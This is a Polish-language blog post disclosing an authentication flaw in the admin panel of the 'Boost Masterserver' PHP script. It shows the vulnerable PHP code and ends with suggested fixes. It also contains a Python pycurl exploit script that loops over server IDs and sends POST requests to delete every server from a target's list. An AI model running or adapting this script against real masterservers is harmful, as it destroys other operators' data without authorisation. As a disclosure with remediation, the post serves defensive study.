Usuwanie serwerów z listy podatność – Skrypt Boost Masterservera

Podatność została znaleziona kilka miesięcy temu dopiero teraz zdecydowałem się ją opisać , większość masterserwerów jest już zabezpieczona przed nią także skrypt ms do pobrania jest już zabezpieczony. Jednak zdecydowałem się wrzucić informacje o tym.
W skrypcie boosta można było znaleźć podatność która pozwalała np. na usuwanie serwerów z listy.

Zaznaczam że do kodu starego ms’a nie mam już dostępu zniknęły w czeluściach mojego dysku a downloadu nie znalazłem dlatego ten post nie będzie aż tak dokładny jakbym chciał.

W pliku admin.php można było znaleźć kod podobny do tego

<!--?php 
if(isset($showmsg)) { echo $showmsg; }
if(isset($_COOKIE["adminhash"]) AND $_COOKIE["adminhash"] != $auth[2] OR !isset($_COOKIE["adminhash"])) {
	require_once "include/admin/admin_auth.php";
} else {
	if(isset($_GET['servers'])) {
		require_once "include/admin/admin_server_list.php";
	} else if(isset($_GET['bans'])) {
		require_once "include/admin/admin_server_bans.php";
	} else if(isset($_GET['keys'])) {
		require_once "include/admin/admin_server_keys.php";
	} else {
		require_once "include/admin/admin_main.php"; 
		require_once "include/admin/admin_graph.php"; 
	}
}	
?-->

( jest to już kod poprawiony )

Z powodu błędu w warunku

if(isset($_COOKIE["adminhash"]) AND $_COOKIE["adminhash"] != $auth[2] OR !isset($_COOKIE["adminhash"]))

można było przejść do includowania admin_server_list.php.

require_once "include/admin/admin_server_list.php";

w pliku admin_server_list.php można znaleźć taki kod

else if(!empty($_GET['del'])) {
$id = intval($_GET['del']);
$sql = mysql_query("SELECT * FROM `servers` WHERE `id` = {$id}") or die(mysql_error());
if(mysql_num_rows($sql) &gt; 0) {
$row = mysql_fetch_assoc($sql);
echo '

<legend>Usuwanie serwera IP: '.$row['address'].' <a class="pull-right" href="admin.php?servers">Wróć</a></legend>';
echo '

<form method="post" action="" class="form-horizontal">
		<input type="hidden" name="id" value="'.$row['id'].'">
<label class="checkbox">
<input type="checkbox" name="del"> Tak, potwierdzam że chcę usunąć ten serwer.
</label>
<input type="submit" class="btn btn-info" name="submit" value="Usuń" serwer"="">
</form>';
} else {
echo $newMess-&gt;into_msg("2", "Ten serwer nie istnieje", "2");
}

( także zmieniony już kod , ale czy poprawiony 😛 ? )

Skrypt w python 3 który wykorzystywał tą podatność

#-*- encoding: utf-8 -*-

import pycurl
import threading
import urllib.parse
import io

url = "url"
repeat = 5000;

url = url + "/admin.php?servers=1"

while True:
for x in range( 0 , repeat ):
values = {
'del': 1,
'id': x
}

c = pycurl.Curl()

c.setopt( pycurl.URL, url );
c.setopt( pycurl.NOBODY, True );
c.setopt( c.POST, True);

data = urllib.parse.urlencode( values )

c.setopt( c.POSTFIELDS, data)

c.setopt( pycurl.HEADER, True);
c.setopt( pycurl.HTTPHEADER, [ "User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)" , "Connection: keep-alive" ] );
c.setopt( pycurl.TIMEOUT, 10);

body = io.BytesIO()

c.setopt( pycurl.WRITEFUNCTION, body.write )

c.perform()

Sposoby naprawy

  • Ukrycie pliku admin.php ( zmiana nazwy , zablokowanie na ip etc. )
  • Naprawa warunku w pliku admin.php

Dodaj komentarz

Witryna wykorzystuje Akismet, aby ograniczyć spam. Dowiedz się więcej jak przetwarzane są dane komentarzy.